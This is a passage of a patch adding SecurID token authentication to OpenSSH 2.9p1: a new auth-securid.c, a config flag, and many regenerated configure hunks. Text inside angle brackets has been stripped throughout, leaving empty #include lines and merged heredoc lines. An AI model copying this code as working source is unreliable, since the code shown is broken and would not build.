+ #endif + ++#ifdef SECURID ++ if (options.securid_authentication == 1) { ++ int ret = auth_securid_password(pw, password); ++ if (ret >= 0) ++ return ret; ++ /* Only returns < 0 if the account is not a SecurID account */ ++ /* Fall back to ordinary passwd authentication. */ ++ } ++#endif + #ifdef WITH_AIXAUTHENTICATE + return (authenticate(pw->pw_name,password,&reenter,&authmsg) == 0); + #endif +diff -ruN openssh-2.9p1-orig/auth-securid.c openssh-2.9p1/auth-securid.c +--- openssh-2.9p1-orig/auth-securid.c Thu Jan 1 10:00:00 1970 ++++ openssh-2.9p1/auth-securid.c Sun Apr 29 21:59:59 2001 +@@ -0,0 +1,189 @@ ++/* ++ * Author: Theo Schlossnagle ++ * Copyright (c) 2000 Theo Schlossnagle ++ * All rights reserved ++ * Created: September 21, 2000 ++ * This file contains the code to process a SecurID authentication ++ * including the "next token" request. ++ */ ++ ++#include "includes.h" ++ ++RCSID("$OpenBSD: auth-securid.c,v 1.0 2000/09/21 01:39:38 jesus Exp $"); ++ ++#include "packet.h" ++#include "ssh.h" ++#include "log.h" ++#include "servconf.h" ++#include "xmalloc.h" ++ ++#ifdef WITH_AIXAUTHENTICATE ++# include ++#endif ++#ifdef HAVE_HPUX_TRUSTED_SYSTEM_PW ++# include ++# include ++#endif ++#ifdef HAVE_SHADOW_H ++# include ++#endif ++#ifdef HAVE_GETPWANAM ++# include ++# include ++# include ++#endif ++#if defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) ++# include "md5crypt.h" ++#endif /* defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) */ ++ ++#ifdef SECURID ++#include "sdi_athd.h" ++#include "sdconf.h" ++#include "sdacmvls.h" ++ ++union config_record configure; ++#endif ++ ++/* ++ * Tries to authenticate the user using password. Returns true if ++ * authentication succeeds. ++ */ ++#define INBUFFLEN 256 ++ ++int ++securid_usersfile_find(const char *pw_name) ++{ ++ extern ServerOptions options; ++ FILE *inf; ++ char inbuff[INBUFFLEN]; ++ struct stat fileinfo; ++ int retval = 0; ++ ++ if(!options.securid_usersfile) { ++ error("In securid_usersfile_find() with NULL filename!"); ++ return -1; ++ } ++ if(lstat(options.securid_usersfile, &fileinfo)) { ++ error("Cannot open %s: %s", ++ options.securid_usersfile, strerror(errno)); ++ return -1; ++ } ++ if(fileinfo.st_mode & (S_IWOTH|S_IWGRP)) { ++ error("SecurIDUsersFile is writeable by group and other"); ++ return -1; ++ } ++ if(!(inf = fopen(options.securid_usersfile, "r"))) { ++ error("Cannot open %s: %s", ++ options.securid_usersfile, strerror(errno)); ++ return -1; ++ } ++ while(fgets(inbuff,INBUFFLEN-1,inf) != NULL) { ++ if(inbuff[strlen(inbuff) - 1] == '\n') ++ inbuff[strlen(inbuff) - 1] = '\0'; ++ retval = !strcmp(inbuff,pw_name); ++ if(retval) break; ++ } ++ fclose(inf); ++ if(retval) return 1; ++ debug2("Failed to find %s in %s", ++ pw_name, options.securid_usersfile); ++ return 0; ++} ++int ++auth_securid_password(struct passwd * pw, const char *password) ++{ ++ static int state = 0; /* This tells us where we expect a ++ 0 "PIN" ++ 1 "Next Token" ++ */ ++ int doauth; ++ char *ecp; ++ extern ServerOptions options; ++#ifndef SECURID ++ return -1; ++#else ++ /* Add static for the nexttoken case -- Anders Olsen 20010409 */ ++ static struct SD_CLIENT sd_dat, *sd; ++ ++ /* Check for users with no sdshell and pass them by. */ ++ if(options.securid_usersfile) { ++ doauth = securid_usersfile_find(pw->pw_name); ++ if(doauth == 0) { /* file is there, user is not */ ++ if(options.allow_nonsecurid) return -1; ++ return 0; ++ } else if(doauth < 0) { /* File not there or bad perms! */ ++ error("Failing SecurID login attempt"); ++ return 0; /* Fail */ ++ } ++ } else { ++ /* No users securid_usersfile ++ so use shells that end in sdshell */ ++ if (!((ecp = strstr(pw->pw_shell, "sdshell")) && ++ (*(ecp+8)=='\0'))) ++ if(options.allow_nonsecurid) return -1; ++ else ++ return 0; ++ } ++ /* sd_check on with an empty password causes segfault against some ++ versions of sdiclient -- Anders Olsen 20010409 */ ++ if (*password == '\0') { ++ debug2("auth_securid_password: empty password, skipping"); ++ return 0; ++ } ++ /* Don't reopen session to securid-server is nexttoken ++ -- Adres Olsen 20010410 */ ++ if (state == 0) { ++ int ret; ++ memset(&sd_dat, 0, sizeof(sd_dat)); /* clear struct */ ++ sd = &sd_dat; ++ ++ if(creadcfg()) { ++ /* Can't read sdconf.rec! Gotta bail */ ++ packet_send_debug("Couldn't read sdconf.rec."); ++ if(options.securid_fallback) return -1; ++ return 0; ++ } ++ if(sd_init(sd)) { ++ /* Can't establish client/server comms! Gotta bail */ ++ packet_send_debug("Couldn't establish client/server communications."); ++ if(options.securid_fallback) return -1; ++ return 0; ++ } ++ /* Auth PIN... */ ++ ret = sd_check(password, pw->pw_name, sd); ++ if(ret == ACM_OK) { ++ goto success; ++ } ++ if(ret == ACM_ACCESS_DENIED) { ++ packet_send_debug("SecurID passcode rejected."); ++ return 0; /* Failed! */ ++ } ++ if(ret == ACM_NEXT_CODE_REQUIRED) { ++ packet_send_debug("SecurID needs next token."); ++ state = 1; /* Process next try as sd_next */ ++ return 0; /* Fail, so ssh will prmpt again */ ++ } ++ } else { ++ /* Auth next token... */ ++ int ret; ++ state = 0; /* Set back to PIN mode */ ++ ret = sd_next(password, sd); ++ if(ret == ACM_OK) { ++ goto success; ++ } ++ packet_send_debug("SecurID passcode rejected."); ++ return 0; /* Failed */ ++ } ++ packet_send_debug("Unhandled sdcheck() return code."); ++ return 0; /* Failed! */ ++ ++success: ++ /* We don't free pw->pw_shell here, becuase we don't know how it was ++ allocated... Besides it is a very small, one-time leak if we did ++ need to free it. */ ++ if(!options.securid_ignore_shell) ++ pw->pw_shell = strdup(sd->shell); ++ packet_send_debug("SecurID passcode accepted."); ++ return 1; /* Success */ ++#endif ++} +diff -ruN openssh-2.9p1-orig/config.h.in openssh-2.9p1/config.h.in +--- openssh-2.9p1-orig/config.h.in Sun Apr 29 21:49:45 2001 ++++ openssh-2.9p1/config.h.in Sun Apr 29 22:00:53 2001 +@@ -193,6 +193,9 @@ + /* Define if you want S/Key support */ + #undef SKEY + ++/* Define if you want SecurID support */ ++#undef SECURID ++ + /* Define if you want TCP Wrappers support */ + #undef LIBWRAP + +diff -ruN openssh-2.9p1-orig/configure openssh-2.9p1/configure +--- openssh-2.9p1-orig/configure Sun Apr 29 21:49:46 2001 ++++ openssh-2.9p1/configure Sun Apr 29 22:00:56 2001 +@@ -24,6 +24,8 @@ + ac_help="$ac_help + --with-skey=PATH Enable S/Key support" + ac_help="$ac_help ++ --with-securid Enable SecurID support" ++ac_help="$ac_help + --with-tcp-wrappers Enable tcpwrappers support" + ac_help="$ac_help + --with-pam Enable PAM support " +@@ -599,7 +601,7 @@ + # Extract the first word of "gcc", so it can be a program name with args. + set dummy gcc; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:603: checking for $ac_word" >&5 ++echo "configure:605: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_prog_CC'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -629,7 +631,7 @@ + # Extract the first word of "cc", so it can be a program name with args. + set dummy cc; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:633: checking for $ac_word" >&5 ++echo "configure:635: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_prog_CC'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -680,7 +682,7 @@ + # Extract the first word of "cl", so it can be a program name with args. + set dummy cl; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:684: checking for $ac_word" >&5 ++echo "configure:686: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_prog_CC'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -712,7 +714,7 @@ + fi + + echo $ac_n "checking whether the C compiler ($CC $CFLAGS $LDFLAGS) works""... $ac_c" 1>&6 +-echo "configure:716: checking whether the C compiler ($CC $CFLAGS $LDFLAGS) works" >&5 ++echo "configure:718: checking whether the C compiler ($CC $CFLAGS $LDFLAGS) works" >&5 + + ac_ext=c + # CFLAGS is not in ac_cpp because -g, -O, etc. are not valid cpp options. +@@ -723,12 +725,12 @@ + + cat > conftest.$ac_ext << EOF + +-#line 727 "configure" ++#line 729 "configure" + #include "confdefs.h" + + main(){return(0);} + EOF +-if { (eval echo configure:732: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:734: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + ac_cv_prog_cc_works=yes + # If we can't run a trivial program, we are probably using a cross compiler. + if (./conftest; exit) 2>/dev/null; then +@@ -754,12 +756,12 @@ + { echo "configure: error: installation or configuration problem: C compiler cannot create executables." 1>&2; exit 1; } + fi + echo $ac_n "checking whether the C compiler ($CC $CFLAGS $LDFLAGS) is a cross-compiler""... $ac_c" 1>&6 +-echo "configure:758: checking whether the C compiler ($CC $CFLAGS $LDFLAGS) is a cross-compiler" >&5 ++echo "configure:760: checking whether the C compiler ($CC $CFLAGS $LDFLAGS) is a cross-compiler" >&5 + echo "$ac_t""$ac_cv_prog_cc_cross" 1>&6 + cross_compiling=$ac_cv_prog_cc_cross + + echo $ac_n "checking whether we are using GNU C""... $ac_c" 1>&6 +-echo "configure:763: checking whether we are using GNU C" >&5 ++echo "configure:765: checking whether we are using GNU C" >&5 + if eval "test \"`echo '$''{'ac_cv_prog_gcc'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -768,7 +770,7 @@ + yes; + #endif + EOF +-if { ac_try='${CC-cc} -E conftest.c'; { (eval echo configure:772: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; }; } | egrep yes >/dev/null 2>&1; then ++if { ac_try='${CC-cc} -E conftest.c'; { (eval echo configure:774: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; }; } | egrep yes >/dev/null 2>&1; then + ac_cv_prog_gcc=yes + else + ac_cv_prog_gcc=no +@@ -787,7 +789,7 @@ + ac_save_CFLAGS="$CFLAGS" + CFLAGS= + echo $ac_n "checking whether ${CC-cc} accepts -g""... $ac_c" 1>&6 +-echo "configure:791: checking whether ${CC-cc} accepts -g" >&5 ++echo "configure:793: checking whether ${CC-cc} accepts -g" >&5 + if eval "test \"`echo '$''{'ac_cv_prog_cc_g'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -844,7 +846,7 @@ + fi + + echo $ac_n "checking host system type""... $ac_c" 1>&6 +-echo "configure:848: checking host system type" >&5 ++echo "configure:850: checking host system type" >&5 + + host_alias=$host + case "$host_alias" in +@@ -865,14 +867,14 @@ + echo "$ac_t""$host" 1>&6 + + echo $ac_n "checking whether byte ordering is bigendian""... $ac_c" 1>&6 +-echo "configure:869: checking whether byte ordering is bigendian" >&5 ++echo "configure:871: checking whether byte ordering is bigendian" >&5 + if eval "test \"`echo '$''{'ac_cv_c_bigendian'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + ac_cv_c_bigendian=unknown + # See if sys/param.h defines the BYTE_ORDER macro. + cat > conftest.$ac_ext < + #include +@@ -883,11 +885,11 @@ + #endif + ; return 0; } + EOF +-if { (eval echo configure:887: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:889: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + # It does; now see whether it defined to BIG_ENDIAN or not. + cat > conftest.$ac_ext < + #include +@@ -898,7 +900,7 @@ + #endif + ; return 0; } + EOF +-if { (eval echo configure:902: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:904: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_c_bigendian=yes + else +@@ -918,7 +920,7 @@ + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null ++if { (eval echo configure:937: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null + then + ac_cv_c_bigendian=no + else +@@ -957,7 +959,7 @@ + + # Checks for programs. + echo $ac_n "checking how to run the C preprocessor""... $ac_c" 1>&6 +-echo "configure:961: checking how to run the C preprocessor" >&5 ++echo "configure:963: checking how to run the C preprocessor" >&5 + # On Suns, sometimes $CPP names a directory. + if test -n "$CPP" && test -d "$CPP"; then + CPP= +@@ -972,13 +974,13 @@ + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. + cat > conftest.$ac_ext < + Syntax Error + EOF + ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +-{ (eval echo configure:982: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } ++{ (eval echo configure:984: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } + ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` + if test -z "$ac_err"; then + : +@@ -989,13 +991,13 @@ + rm -rf conftest* + CPP="${CC-cc} -E -traditional-cpp" + cat > conftest.$ac_ext < + Syntax Error + EOF + ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +-{ (eval echo configure:999: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } ++{ (eval echo configure:1001: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } + ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` + if test -z "$ac_err"; then + : +@@ -1006,13 +1008,13 @@ + rm -rf conftest* + CPP="${CC-cc} -nologo -E" + cat > conftest.$ac_ext < + Syntax Error + EOF + ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +-{ (eval echo configure:1016: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } ++{ (eval echo configure:1018: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } + ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` + if test -z "$ac_err"; then + : +@@ -1039,7 +1041,7 @@ + # Extract the first word of "ranlib", so it can be a program name with args. + set dummy ranlib; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:1043: checking for $ac_word" >&5 ++echo "configure:1045: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_prog_RANLIB'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -1078,7 +1080,7 @@ + # SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" + # ./install, which can be erroneously created by make from ./install.sh. + echo $ac_n "checking for a BSD compatible install""... $ac_c" 1>&6 +-echo "configure:1082: checking for a BSD compatible install" >&5 ++echo "configure:1084: checking for a BSD compatible install" >&5 + if test -z "$INSTALL"; then + if eval "test \"`echo '$''{'ac_cv_path_install'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -1133,7 +1135,7 @@ + # Extract the first word of "ar", so it can be a program name with args. + set dummy ar; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:1137: checking for $ac_word" >&5 ++echo "configure:1139: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_AR'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -1170,7 +1172,7 @@ + # Extract the first word of "$ac_prog", so it can be a program name with args. + set dummy $ac_prog; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:1174: checking for $ac_word" >&5 ++echo "configure:1176: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_PERL'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -1209,7 +1211,7 @@ + # Extract the first word of "ent", so it can be a program name with args. + set dummy ent; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:1213: checking for $ac_word" >&5 ++echo "configure:1215: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_ENT'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -1247,7 +1249,7 @@ + # Extract the first word of "$ac_prog", so it can be a program name with args. + set dummy $ac_prog; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:1251: checking for $ac_word" >&5 ++echo "configure:1253: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_FILEPRIV'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -1286,7 +1288,7 @@ + # Extract the first word of "bash", so it can be a program name with args. + set dummy bash; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:1290: checking for $ac_word" >&5 ++echo "configure:1292: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_TEST_MINUS_S_SH'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -1321,7 +1323,7 @@ + # Extract the first word of "ksh", so it can be a program name with args. + set dummy ksh; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:1325: checking for $ac_word" >&5 ++echo "configure:1327: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_TEST_MINUS_S_SH'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -1356,7 +1358,7 @@ + # Extract the first word of "sh", so it can be a program name with args. + set dummy sh; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:1360: checking for $ac_word" >&5 ++echo "configure:1362: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_TEST_MINUS_S_SH'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -1404,7 +1406,7 @@ + # Extract the first word of "login", so it can be a program name with args. + set dummy login; ac_word=$2 + echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +-echo "configure:1408: checking for $ac_word" >&5 ++echo "configure:1410: checking for $ac_word" >&5 + if eval "test \"`echo '$''{'ac_cv_path_LOGIN_PROGRAM_FALLBACK'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -1451,21 +1453,21 @@ + + # C Compiler features + echo $ac_n "checking for inline""... $ac_c" 1>&6 +-echo "configure:1455: checking for inline" >&5 ++echo "configure:1457: checking for inline" >&5 + if eval "test \"`echo '$''{'ac_cv_c_inline'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + ac_cv_c_inline=no + for ac_kw in inline __inline__ __inline; do + cat > conftest.$ac_ext <&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:1471: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_c_inline=$ac_kw; break + else +@@ -1504,12 +1506,12 @@ + blibpath="/usr/lib:/lib:/usr/local/lib" + fi + echo $ac_n "checking for authenticate""... $ac_c" 1>&6 +-echo "configure:1508: checking for authenticate" >&5 ++echo "configure:1510: checking for authenticate" >&5 + if eval "test \"`echo '$''{'ac_cv_func_authenticate'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:1538: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_authenticate=yes" + else +@@ -1671,12 +1673,12 @@ + EOF + + echo $ac_n "checking for jlimit_startjob""... $ac_c" 1>&6 +-echo "configure:1675: checking for jlimit_startjob" >&5 ++echo "configure:1677: checking for jlimit_startjob" >&5 + if eval "test \"`echo '$''{'ac_cv_func_jlimit_startjob'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:1705: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_jlimit_startjob=yes" + else +@@ -1748,7 +1750,7 @@ + + SONY=1 + echo $ac_n "checking for xatexit in -liberty""... $ac_c" 1>&6 +-echo "configure:1752: checking for xatexit in -liberty" >&5 ++echo "configure:1754: checking for xatexit in -liberty" >&5 + ac_lib_var=`echo iberty'_'xatexit | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -1756,7 +1758,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-liberty $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:1773: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -1834,7 +1836,7 @@ + # hardwire lastlog location (can't detect it on some versions) + conf_lastlog_location="/var/adm/lastlog" + echo $ac_n "checking for obsolete utmp and wtmp in solaris2.x""... $ac_c" 1>&6 +-echo "configure:1838: checking for obsolete utmp and wtmp in solaris2.x" >&5 ++echo "configure:1840: checking for obsolete utmp and wtmp in solaris2.x" >&5 + sol2ver=`echo "$host"| sed -e 's/.*[0-9]\.//'` + if test "$sol2ver" -ge 8; then + echo "$ac_t""yes" 1>&6 +@@ -1855,12 +1857,12 @@ + for ac_func in getpwanam + do + echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +-echo "configure:1859: checking for $ac_func" >&5 ++echo "configure:1861: checking for $ac_func" >&5 + if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:1889: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" + else +@@ -2007,12 +2009,12 @@ + for ac_func in getluid setluid + do + echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +-echo "configure:2011: checking for $ac_func" >&5 ++echo "configure:2013: checking for $ac_func" >&5 + if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2041: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" + else +@@ -2086,12 +2088,12 @@ + for ac_func in getluid setluid + do + echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +-echo "configure:2090: checking for $ac_func" >&5 ++echo "configure:2092: checking for $ac_func" >&5 + if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2120: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" + else +@@ -2143,7 +2145,7 @@ + *-dec-osf*) + if test ! -z "USE_SIA" ; then + echo $ac_n "checking for Digital Unix Security Integration Architecture""... $ac_c" 1>&6 +-echo "configure:2147: checking for Digital Unix Security Integration Architecture" >&5 ++echo "configure:2149: checking for Digital Unix Security Integration Architecture" >&5 + if test -f /etc/sia/matrix.conf; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +@@ -2214,7 +2216,7 @@ + + + echo $ac_n "checking for pcre_info in -lpcre""... $ac_c" 1>&6 +-echo "configure:2218: checking for pcre_info in -lpcre" >&5 ++echo "configure:2220: checking for pcre_info in -lpcre" >&5 + ac_lib_var=`echo pcre'_'pcre_info | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -2222,7 +2224,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-lpcre $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2239: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -2270,7 +2272,7 @@ + # Checks for libraries. + if test -z "$no_libnsl" ; then + echo $ac_n "checking for yp_match in -lnsl""... $ac_c" 1>&6 +-echo "configure:2274: checking for yp_match in -lnsl" >&5 ++echo "configure:2276: checking for yp_match in -lnsl" >&5 + ac_lib_var=`echo nsl'_'yp_match | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -2278,7 +2280,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-lnsl $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2295: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -2319,7 +2321,7 @@ + fi + if test -z "$no_libsocket" ; then + echo $ac_n "checking for main in -lsocket""... $ac_c" 1>&6 +-echo "configure:2323: checking for main in -lsocket" >&5 ++echo "configure:2325: checking for main in -lsocket" >&5 + ac_lib_var=`echo socket'_'main | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -2327,14 +2329,14 @@ + ac_save_LIBS="$LIBS" + LIBS="-lsocket $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2340: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -2364,7 +2366,7 @@ + fi + + echo $ac_n "checking for innetgr in -lrpc""... $ac_c" 1>&6 +-echo "configure:2368: checking for innetgr in -lrpc" >&5 ++echo "configure:2370: checking for innetgr in -lrpc" >&5 + ac_lib_var=`echo rpc'_'innetgr | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -2372,7 +2374,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-lrpc -lyp -lrpc $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2389: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -2405,7 +2407,7 @@ + + + echo $ac_n "checking for getspnam in -lgen""... $ac_c" 1>&6 +-echo "configure:2409: checking for getspnam in -lgen" >&5 ++echo "configure:2411: checking for getspnam in -lgen" >&5 + ac_lib_var=`echo gen'_'getspnam | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -2413,7 +2415,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-lgen $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2430: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -2445,7 +2447,7 @@ + fi + + echo $ac_n "checking for deflate in -lz""... $ac_c" 1>&6 +-echo "configure:2449: checking for deflate in -lz" >&5 ++echo "configure:2451: checking for deflate in -lz" >&5 + ac_lib_var=`echo z'_'deflate | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -2453,7 +2455,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-lz $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2470: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -2493,7 +2495,7 @@ + fi + + echo $ac_n "checking for login in -lutil""... $ac_c" 1>&6 +-echo "configure:2497: checking for login in -lutil" >&5 ++echo "configure:2499: checking for 